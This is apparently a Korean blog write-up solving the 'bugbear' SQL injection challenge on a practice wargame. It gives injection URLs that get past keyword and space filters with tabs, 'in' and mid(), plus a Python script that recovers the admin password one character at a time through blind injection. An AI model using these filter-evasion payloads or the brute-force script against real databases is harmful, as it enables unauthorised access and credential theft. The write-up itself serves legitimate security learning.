반응형
분석
이번에도.. 브루트포싱인가 또..
no랑 pw를 받습니다.
pw는 따옴표 사용불가
no는 이번엔 substr, ascii, =, or, and, 공백, like, 0x(hex)마저 사용 불가..
다 막아두었네요 여태 있던걸.
이번에도 admin을 띄워보는 것부터 시작해야겠습니다.
or이나 and가 막혀있는건 ||이나 &&쓰면 되고..
substr은 mid였고.
해결해야 할건 공백과 like마저 안되는 상황
공백은 tab이나 \n, + 등으로 우회가 가능하다. -> +는 안되더라.
like는 수업시간에 배운 것으로 in으로 우회가 가능할 것 같기도 하다.
작은 따옴표는 큰 따옴표로 우회해보자.
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&no=1||%09id%09in%09(%22admin%22)
와 된다.
tab..! %09이다.
https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?pw=123&no=1||%09id%09in%09(%22admin%22)%09%26%26length(pw)%09in%09(%228%22)
이것도 되나? 해서 해봤는데 이렇게도 된다. length는 col로 존재하는 속성이 아닌데도 이렇게 찾을 수 있다.
그러면 길이는 8인걸로.
풀이
import requests
url = 'https://los.rubiya.kr/chall/bugbear_19ebf8c8106a5323825b5dfa1b07ac1f.php?'
cookie = {'PHPSESSID' : 'your cookie'}
length = 8
pw = ''
for i in range(1, length+1) :
for j in range(0x30, 0x7f) :
query = 'pw=123&no=1||%09id%09in%09("admin")%09%26%26mid(pw,1,{})%09in%09(\"{}\")'.format(i, pw+chr(j))
print(query,'find:',pw)
req = requests.get(url+query, cookies=cookie)
if('Hello admin' in req.text) :
pw += chr(j)
break
print('res:',pw)
아까 쿼리를 비슷하게 사용해서 이번엔 mid를 in을 가지고 검사한다.
얘도 금방 안 틀리고 잘 찾는다.
그렇게 나온 패스워드가 52DC3991이고
이걸 아무 no랑 넣어주면
와웅
공백을 tab, 개행 등으로 우회할 수 있다는 걸 알았고 in을 이렇게 쓴다는 걸 알았다.
반응형